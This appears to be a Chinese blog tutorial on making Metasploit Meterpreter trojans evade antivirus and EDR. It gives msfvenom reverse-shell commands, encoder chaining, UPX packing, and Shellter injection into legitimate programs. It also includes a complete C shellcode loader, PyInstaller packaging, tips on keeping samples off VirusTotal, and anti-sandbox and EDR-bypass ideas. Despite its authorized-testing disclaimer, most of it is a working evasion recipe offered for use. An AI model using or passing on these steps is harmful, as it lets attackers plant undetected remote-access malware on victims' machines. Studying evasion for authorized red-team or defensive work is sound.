1. 项目概述:从“裸奔”到“隐身”的攻防博弈
在渗透测试的红队演练中,生成一个能绕过目标防御系统的有效载荷(Payload),其重要性不亚于找到漏洞本身。想象一下,你费尽心思发现了一个系统入口,精心构造的攻击代码却在传输或执行的瞬间就被杀毒软件(AV)或终端检测与响应(EDR)系统无情地“拍死”,所有前期工作瞬间归零。这种挫败感,每个做过实战测试的朋友应该都深有体会。
“Kali实战:MSF木马免杀与多引擎检测对抗”这个主题,核心就是解决这个痛点。我们使用Kali Linux中家喻户晓的Metasploit Framework(MSF)生成攻击载荷,但不再满足于其“出厂设置”——那种几乎会被所有现代安全软件秒杀的原始状态。我们要做的,是通过一系列编码、加密、混淆和壳技术,给这个“裸奔”的木马穿上“隐身衣”,让它能够骗过多款杀毒引擎的检测,成功在目标系统上驻留并执行。
这不仅仅是技术炫技,更是实战的刚性需求。无论是内部红蓝对抗、授权渗透测试,还是安全研究,了解并实践免杀技术,能帮助你更真实地评估目标环境的防御强度。本文将从一个实战者的角度,拆解从基础载荷生成,到使用多种免杀工具链进行深度处理,再到利用在线多引擎扫描平台验证效果的全过程。我会分享我踩过的坑、验证有效的技巧,以及那些看似高级但实则鸡肋的操作,目标是让你拿到一个可以直接用于特定场景的、经过验证的免杀方案。
2. 核心思路与对抗逻辑拆解
在动手之前,我们必须搞清楚现代杀毒软件和安全软件是如何工作的,以及我们的免杀思路应该如何与之对抗。盲目地套用工具,效果往往不尽如人意。
2.1 杀毒引擎的检测原理浅析
现代杀软通常采用“特征码检测”、“启发式分析”和“行为检测”三重奏。
特征码检测 是最传统、最直接的方式。安全厂商的分析师拿到一个恶意样本后,会从中提取出一段独一无二的二进制序列(或哈希值),作为它的“指纹”录入病毒库。当你的文件在系统上被扫描时,杀软会将其与病毒库中的海量指纹进行比对。MSF生成的默认 windows/meterpreter/reverse_tcp 载荷,其二进制模式早已被各大厂商记录在案,所以几乎是100%被查杀。
启发式分析 则更聪明一些。它不依赖已知特征,而是通过分析文件的代码结构、API调用序列、指令统计特征等,来判断其是否“可疑”。例如,一个PE文件如果同时具有“申请可执行内存”、“将代码解密到该内存”、“跳转到该内存执行”这一系列操作,即使它之前没见过,启发式引擎也会给出高风险警告。
行为检测/沙箱动态分析 是最后的防线,尤其在EDR中广泛应用。它会让程序在一个受控的虚拟环境(沙箱)中运行一段时间,观察其实际行为:是否尝试连接陌生IP和端口?是否修改系统关键文件或注册表?是否进行进程注入?一旦发现恶意行为,立即阻断并报警。
我们的免杀策略,就是针对这三层检测逐级设计对抗措施。
2.2 分层免杀策略设计
基于上述分析,一个有效的免杀流程应该是分层的:
-
对抗特征码检测(静态免杀) :这是我们的第一道工序,目标是让生成的文件“看起来”不像已知恶意软件。核心手段是 改变文件的静态特征 。
- 编码(Encoding) :使用MSF自带的编码器(如
shikata_ga_nai)对载荷进行混淆,改变其二进制表现。但需要注意的是,主流编码器的模式也已被广泛研究,单独使用效果有限。 - 加密(Encryption) :使用更复杂或自定义的加密算法将载荷加密,运行时再解密。这能极大改变文件静态特征。
- 加壳(Packing) :使用商业或开源的加壳工具(如UPX,或更高级的VMProtect、Themida的试用版思路)对整个可执行文件进行压缩和加密。加壳会完全改变文件的入口点和节区结构,让基于原始PE结构的特征码失效。但一些杀软有“壳特征库”,能识别常见壳并提示“可疑加壳程序”。
- 代码混淆与变形 :手动或利用工具修改汇编指令(如插入垃圾指令、等价指令替换、控制流扁平化),使得功能不变但代码流大变样。
- 编码(Encoding) :使用MSF自带的编码器(如
-
对抗启发式与行为检测(动态免杀) :这是在静态免杀基础上,更高级的对抗。目标是让程序“行为举止”像个好人。
- API混淆与间接调用 :不直接调用敏感的
VirtualAlloc、CreateRemoteThread等函数,而是通过动态获取API地址、使用系统未公开的底层函数(Native API)等方式来隐藏意图。 - 睡眠与延迟执行 :在载荷中插入长时间的延迟或等待特定条件(如用户操作、特定时间),以绕过沙箱的短时间运行分析(沙箱通常只模拟运行几十秒到几分钟)。
- 分离式载荷(Staged Payload)与流量伪装 :不使用完整的反向Shell,而是先投放一个极小的、行为简单的“下载器”(Dropper),由它再从远程下载真正的恶意代码。同时,将C2(命令与控制)流量伪装成正常的HTTPS、DNS或常见云服务流量。
- 环境感知(Anti-Sandbox) :检测当前运行环境是否为沙箱或虚拟机(通过检查进程列表、硬件信息、鼠标移动、磁盘大小等),如果是,则停止恶意行为或执行无害操作。
- API混淆与间接调用 :不直接调用敏感的
在本实战中,我们将主要聚焦于 静态免杀 ,并初步涉及一些简单的动态免杀思想,使用Kali生态中的工具链来实现。多引擎检测则是我们的“试金石”,用来客观评估免杀效果。
注意 :本文所有技术仅用于授权的安全测试、教育学习及合法研究目的。未经授权对他人的系统进行渗透测试是违法行为。
3. 环境准备与基础载荷生成
工欲善其事,必先利其器。我们先搭建一个可重复、易管理的实验环境。
3.1 Kali Linux环境配置要点
虽然Kali开箱即用,但为了免杀实验更顺畅,有几个步骤我强烈建议你先做:
- 更新与换源 :首先更新软件源列表,使用国内镜像源可以大幅提升下载速度。编辑
/etc/apt/sources.list文件,注释掉官方源,添加阿里云或清华的镜像源。然后执行sudo apt update && sudo apt upgrade -y进行全系统更新。这能确保我们用到最新的工具和库。 - 安装必备的编译环境 :很多免杀工具需要编译环境。安装
build-essential、mingw-w64(用于交叉编译Windows可执行文件)是必须的。sudo apt install -y build-essential mingw-w64 metasploit-framework - 安装额外的免杀工具 :MSF是核心,但我们需要更多“化妆师”。常用的有:
- Veil-Evasion :一个经典的免杀框架,虽然已停止维护,但其思路和部分模块仍有参考价值。
- Shellter :动态壳注入工具,效果不错。
- AVET (AntiVirus Evasion Tool) :另一个专注于免杀的工具。
- Python/Pip环境 :很多辅助脚本是Python写的。确保
python3和pip3已安装。 我们可以先安装Shellter作为示例:
其他工具可以根据后续需要,通过git克隆或下载安装。sudo apt install -y shellter
3.2 生成原始MSF载荷并分析其“裸奔”状态
让我们先看看“敌人”最初的样子。使用MSFvenom(MSF中强大的载荷生成器)生成一个最标准的反向TCP Meterpreter载荷。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload_original.exe
-
-p windows/meterpreter/reverse_tcp: 指定载荷类型。 -
LHOST: 你的Kali攻击机IP。 -
LPORT: 监听端口。 -
-f exe: 输出格式为Windows可执行文件。 -
-o payload_original.exe: 输出文件名。
生成后,这个 payload_original.exe 就是我们的“裸奔”样本。我们可以立即在本地用ClamAV(Kali自带)扫一下,或者上传到 VirusTotal (注意:上传后样本会被公开,仅供测试使用匿名样本)这类多引擎扫描网站。不出意外的话,检测率会接近甚至达到100%。这就是我们免杀工作的起点——一个被所有引擎认识的“通缉犯”。
4. 初级免杀:MSF编码器与多重编码
MSFvenom自带了一些编码器,最著名的就是 x86/shikata_ga_nai (日语“无可奈何”之意)。它使用多态XOR编码,每次编码都会产生不同的输出,但解码器头(stub)仍有固定模式。
4.1 使用Shikata Ga Nai进行编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload_sgn_encoded.exe
-
-e x86/shikata_ga_nai: 指定编码器。 -
-i 5: 迭代编码5次。增加迭代次数可以改变文件,但解码器层数也会叠加,可能增加体积和稳定性风险。
效果评估 :单独使用 shikata_ga_nai ,即使是多次迭代,在今天的效果也微乎其微。因为它的模式早已被透彻分析。你上传扫描后,可能会发现检测率从100%降到了95%或90%,但依然很高。这说明仅靠MSF内置编码器是远远不够的。
4.2 尝试多重编码与不同格式
我们可以尝试组合不同的编码器,或者输出为其他格式(如PS1、VBA宏、DLL等),有时能利用某些杀软对特定格式检测较弱的特点。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f raw | msfvenom -e x86/alpha_upper -i 2 -f exe -o payload_double_encoded.exe
这个命令使用了管道,先由 shikata_ga_nai 编码,输出的原始数据再交给 alpha_upper 编码器处理,最后生成exe。
实操心得 :多重编码更多是心理安慰,对绕过现代启发式引擎帮助不大。而且,将载荷嵌入非可执行文件(如Word宏、PDF),需要依赖社会工程学诱骗用户启用宏或点击,属于另一种攻击向量。我们这里聚焦于可执行文件本身的免杀。
5. 中级免杀:利用外部加壳与混淆工具
当内置编码器乏力时,我们需要引入外部“化妆师”。加壳是改变文件静态特征最有效的手段之一。
5.1 使用UPX进行压缩壳处理
UPX是一款开源的可执行文件压缩工具,虽然其本身不是为免杀设计,但压缩后改变文件结构,有时能绕过一些简单的特征匹配。
# 首先安装UPX
sudo apt install -y upx
# 对原始或初步编码的载荷进行加壳
upx -9 payload_original.exe -o payload_upxed.exe
-
-9: 最高压缩级别。
重要警告 : UPX是一个极其流行的压缩壳,其壳特征广为人知。 很多杀毒软件会直接标记“UPX packed”为可疑,甚至有些会尝试脱壳后扫描。因此, 使用默认UPX加壳对于免杀通常是负效果 ,它会让你从“已知恶意软件”变成“已知加壳的可疑文件”。我们需要的是修改UPX壳特征,或者使用更冷门的壳。
5.2 使用Shellter进行动态壳注入(推荐)
Shellter的思路更巧妙:它不直接给恶意代码加壳,而是将一个合法的、干净的Windows程序(称为“傀儡程序”)作为载体,将我们的Shellcode动态注入到其运行流程中。这样,文件的原始签名和大部分行为都是合法的。
- 准备傀儡程序 :找一个干净的、有数字签名(效果更好)的Windows小工具,比如
putty.exe(SSH客户端)或系统自带的calc.exe(计算器)的副本。确保你拥有该文件的合法使用权利用于测试。 - 运行Shellter :在终端输入
sudo shellter(需要以root运行,因为它需要操作文件)。 - 选择模式 :通常选择自动模式(Auto)。
- 指定目标PE文件 :输入你准备好的傀儡程序的路径。
- 选择载荷 :选择
L(List)列出可用载荷,或者选择C(Custom)使用自定义的Shellcode。我们可以选择MSF生成的windows/meterpreter/reverse_tcp的raw格式(-f raw)作为自定义载荷。 - 设置连接信息 :输入LHOST和LPORT。
- 选择隐身模式 :选择
Y启用隐身模式(Stealth Mode),它会尝试更隐蔽的注入技术。 - 生成 :Shellter会自动完成注入,生成一个新的可执行文件。
效果评估 :Shellter的效果通常比单纯编码好很多。因为它保留了合法程序的外壳和行为。上传到多引擎平台扫描,检测率可能会有显著下降,可能从几十个引擎中只有几个报毒。这是因为它成功绕过了基于文件整体特征的静态检测。
注意事项 :Shellter的注入点选择会影响稳定性。对于某些程序,注入可能导致崩溃。需要多尝试几个不同的“傀儡程序”。另外,杀软对进程内存中出现的恶意Shellcode也有动态检测能力,所以Shellter并非银弹。
6. 高级免杀:自定义加载器与分离式攻击
当通用工具开始失效时,我们需要更定制化的方案。核心思想是: 分离 与 伪装 。
6.1 使用C/C++编写自定义加载器
这是红队作业中常见的手法。思路是:我们用一个自己编写的、干净的C/C++程序(加载器)作为载体。这个程序的功能是:
- 从网络、磁盘文件或自身资源中读取一段加密的Shellcode。
- 在内存中解密这段Shellcode。
- 通过
VirtualAlloc、memcpy、CreateThread等WinAPI在内存中分配空间、复制并执行它。
因为加载器代码是我们自己写的,没有特征码。只要我们的代码写得“像”一个正常程序(比如伪装成一个图片查看器的一部分),静态扫描就很难发现。关键在于Shellcode的加密方式和加载器的行为是否可疑。
一个极简的示例代码框架如下(需在Windows环境或用 mingw-w64 交叉编译):
#include <windows.h>
#include <stdio.h>
// 这里是经过加密的MSF Shellcode数组(例如XOR加密后的)
unsigned char encrypted_shellcode[] = { /* ... 你的加密载荷 ... */ };
unsigned char key = 0xAA; // 简单的XOR密钥
int main() {
// 1. 解密Shellcode
int shellcode_size = sizeof(encrypted_shellcode);
unsigned char* shellcode = (unsigned char*) malloc(shellcode_size);
for (int i = 0; i < shellcode_size; i++) {
shellcode[i] = encrypted_shellcode[i] ^ key; // XOR解密
}
// 2. 在内存中分配可执行空间
void* exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == NULL) {
// 处理错误,可以伪装成普通错误信息
return -1;
}
// 3. 复制解密后的Shellcode到该空间
memcpy(exec_mem, shellcode, shellcode_size);
// 4. 执行Shellcode
HANDLE threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
if (threadHandle != NULL) {
WaitForSingleObject(threadHandle, INFINITE); // 等待线程结束(实际上meterpreter不会结束)
}
free(shellcode);
return 0;
}
使用 i686-w64-mingw32-gcc 或 x86_64-w64-mingw32-gcc 进行交叉编译:
x86_64-w64-mingw32-gcc -o myloader.exe myloader.c -s -O2 -lws2_32
避坑技巧 :
- 避免直接调用敏感API :可以使用
GetProcAddress动态获取VirtualAlloc等函数的地址,而不是静态链接。 - 添加垃圾代码和正常逻辑 :在加载器里加入一些无害的计算、文件读取(比如读取一个配置文件)、用户交互等代码,让程序行为更丰富,干扰启发式分析。
- 使用更复杂的加密 :不要用简单的XOR,使用AES、RC4等算法,密钥可以硬编码,也可以从外部资源获取。
- 分离载荷 :加载器不包含加密的Shellcode,而是从远程服务器下载,或者从本地一个看似正常的文件(如图片末尾附加的数据)中读取。这能极大减小加载器本身的体积和可疑度。
6.2 使用Python编译成可执行文件
对于快速原型或利用丰富的Python库进行混淆,这是一个不错的选择。我们可以用 msfvenom 生成Python格式的载荷,然后嵌入到一个Python脚本中,该脚本使用 base64 、 zlib 、 cryptography 等库进行加解密,最后使用 PyInstaller 或 Nuitka 将脚本打包成独立的Windows可执行文件。
优势 :Python代码灵活,易于实现复杂的解密和反沙箱逻辑。PyInstaller打包的程序是一个完整的Python解释器加你的脚本,体积较大,但有时因为不常见而能绕过检测。
劣势 :生成的exe体积庞大(通常几MB到十几MB),且启动较慢。一些EDR可能会监控Python解释器的异常行为。
基本步骤 :
- 生成Python载荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f python -o payload.py - 编写一个加载脚本,将payload.py中的buf进行解密(例如先base64解码)并执行。
- 使用PyInstaller打包:
pyinstaller --onefile --noconsole your_loader.py。--onefile生成单个exe,--noconsole运行时不显示黑框窗口。
7. 效果验证:多引擎检测平台实战
免杀做得好不好,不能靠感觉,必须靠数据。我们将使用在线多引擎扫描平台来量化我们的成果。
7.1 平台选择与使用策略
- VirusTotal (VT) :最知名,拥有70+个引擎。 但切记,上传到VT的文件是公开的! 这意味着安全厂商会立即获得你的样本并更新特征库。所以,VT只适用于测试 最终、即将废弃 的样本,或者使用其“文件行为”分析功能(不公开样本)。切勿将你打算在真实测试中使用的载荷上传到VT。
- Antiscan.me :一个不错的替代品,它同时查询多个引擎但声称不分享样本。相对更“安全”一些。
- Hybrid Analysis :提供免费的沙箱动态分析,可以看到文件运行时的详细行为,对于调试行为免杀非常有用。
策略 :在开发迭代过程中,可以使用 本地杀毒软件 (如Windows Defender、安装的第三方杀软)进行快速测试。只有在你认为免杀效果已经很好,且该样本后续不再用于重要测试时,才上传到VT做最终验证。
7.2 分析扫描报告与迭代改进
上传样本后,你会得到一份详细的报告。关注以下几点:
- 检测率 :多少家引擎报毒?我们的目标是让这个数字尽可能低,理想情况下只有少数几家“激进”的引擎报毒,或者完全不报。
- 报毒名称 :引擎报的是什么?是
Trojan.Generic、Heur.AdvML.B这样的通用/启发式检测,还是MSF.Dropper这样的具体家族检测?前者说明我们的静态免杀可能还行,但行为被怀疑;后者说明特征码没处理干净。 - 详细信息 :查看“详细信息”或“行为”标签页。文件有没有被识别出加壳(如“UPX”)、调用了哪些敏感API、尝试连接了哪些网络地址?这些信息是改进我们免杀方案的金矿。
迭代过程 :
- 如果很多引擎报特征码,说明静态免杀不够,需要加强加密、混淆或换用更冷门的加壳方式。
- 如果报启发式(Heur/AdvML),说明行为可疑。需要优化加载器代码,增加正常逻辑,或加入反沙箱、延迟执行代码。
- 如果动态行为分析显示网络连接立即触发警报,需要考虑流量伪装或使用更隐蔽的协议。
8. 常见问题、排查与进阶思考
在实战中,你会遇到各种各样的问题。这里记录一些典型情况和我的解决思路。
8.1 载荷生成后无法正常上线
这是最常见的问题。可能的原因和排查步骤:
- 监听器配置错误 :这是最可能的原因。确保
msfconsole中exploit/multi/handler模块的PAYLOAD、LHOST、LPORT与生成载荷时使用的参数 完全一致 。特别是32位和64位要匹配。 - 防火墙/杀软拦截 :即使在测试环境中,Windows防火墙或杀毒软件也可能拦截出站连接。在测试机上临时关闭防火墙和实时保护进行测试。
- 载荷本身崩溃 :特别是经过复杂编码或加壳后,载荷可能不稳定。尝试在虚拟机中运行,用调试器(如x64dbg)附加,看看是否在解码或执行阶段崩溃。简化免杀步骤,一步步测试。
- 网络不通 :确保攻击机(Kali)和靶机在同一网络,且IP地址设置正确。可以在靶机上
ping一下攻击机IP。
8.2 免杀处理导致文件体积暴增或行为异常
- 体积暴增 :特别是使用PyInstaller或某些加壳工具时。权衡免杀效果和文件体积。在鱼叉攻击中,过大的文件可能引起怀疑。可以尝试使用
upx(非默认参数)或其他压缩壳进行二次压缩,但要注意可能 reintroduce 特征。 - 行为异常 :加壳或修改后的程序可能在某些系统上无法运行(缺少运行时库、兼容性问题)。务必在多个Windows版本(如Win10, Win11)和配置上测试。使用合法的“傀儡程序”时,确保其原有功能基本正常,避免被用户立刻发现异常。
8.3 对抗EDR的思考
现代EDR远比传统杀毒软件强大。它们不仅看静态文件,更监控进程行为、内存操作、网络连接和系统调用。对抗EDR需要更深入的技术:
- 直接系统调用(Syscall) :绕过用户态的API监控,直接调用内核态的系统服务。
- 反射式DLL注入/进程镂空 :更隐蔽的进程注入技术。
- 内存加密 :仅在执行时解密Shellcode,执行后立即加密,避免内存扫描。
- 合法的C2通道 :使用HTTPS、DNS over HTTPS等加密协议,甚至将流量伪装到Github、云存储等合法服务中。
- 生活化 :让恶意进程的名称、图标、描述看起来像系统或常用软件的一部分。
这些技术实现复杂,超出了本文基础免杀的范畴,但它们是红队进阶的必经之路。我个人的体会是,免杀是一场持续的猫鼠游戏,没有一劳永逸的方案。今天有效的方法,明天可能就因为某个引擎更新而失效。因此,核心在于理解原理,建立自己的工具链和测试流程,并保持对新技术、新检测方法的学习。在授权测试中,最可靠的“免杀”往往是结合社会工程学,让用户自愿运行一个看似完全合法的程序。技术手段是辅助,对人的理解才是安全测试中更高维度的对抗。

1万+

被折叠的 条评论
为什么被折叠?



